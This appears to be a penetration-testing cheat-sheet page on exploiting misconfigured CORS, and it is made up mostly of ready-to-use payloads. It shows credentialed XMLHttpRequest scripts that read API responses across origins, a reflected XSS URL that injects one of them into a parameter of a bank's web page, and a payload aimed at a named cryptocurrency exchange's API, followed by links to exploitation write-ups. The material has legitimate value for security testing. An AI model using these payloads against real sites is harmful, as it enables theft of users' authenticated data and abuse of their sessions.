Cross-Origin Resource Sharing (CORS)
Cross-Origin Resource Sharing

CORS Payload Example 1

1
function cors() {
2
var xhttp = new XMLHttpRequest();
3
xhttp.onreadystatechange = function() {
4
if (this.status == 200) {
5
alert(this.responseText);
6
document.getElementById("demo").innerHTML = this.responseText;
7
}
8
};
9
xhttp.open("GET", "https://www.redacted.com/api/return", true);
10
xhttp.withCredentials = true;
11
xhttp.send();
12
}
13
cors();
Copied!
1
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
Copied!

CORS Payload Example 2

1
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://public.poloniex.com/?command=returnTradeHistory&currencyPair=BTC_ETH',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };
Copied!

CORS Special Character on Browser

References

https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
medium.com
Advanced CORS Exploitation Techniques
hacker_
Exploiting Misconfigured CORS (Cross Origin Resource Sharing)
Geekboy | Security Researcher
Last modified 2yr ago